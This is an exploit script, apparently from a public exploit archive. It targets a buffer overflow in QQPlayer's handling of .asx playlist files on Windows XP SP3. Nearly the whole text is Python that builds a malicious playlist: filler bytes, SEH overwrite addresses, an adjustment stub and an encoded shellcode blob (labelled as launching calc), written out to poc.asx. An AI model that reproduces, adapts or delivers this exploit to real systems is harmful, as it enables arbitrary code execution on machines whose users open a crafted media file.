QQPlayer – ‘.asx’ File Processing Buffer Overflow
################################################################# # # Title: QQPlayer asx File Processing Buffer Overflow Exploit # Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University # Vendor: www.qq.com # Platform: Windows XPSP3 Chinese Simplified # Test: QQPlayer 2.3.696.400 # Vulnerable: QQPlayer<=2.3.696.400p1 # Payload = calc # ################################################################# # Code : head ='''<ASX version="3.0"> <Entry> <REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_''' junk = "A" * 1975 #English XP SP3 users, try 1984 bytes instead nseh ="\x42\x61\x21\x61" seh ="\xa9\x9e\x41\x00" adjust="\x30\x83\xc0\x0c" shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV" "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL" "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9" "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW" "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R" "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA") junk_="R"*8000 foot ='''_playlis.wma"/> </Entry> </ASX>''' payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot fobj = open("poc.asx","w") fobj.write(payload) fobj.close() |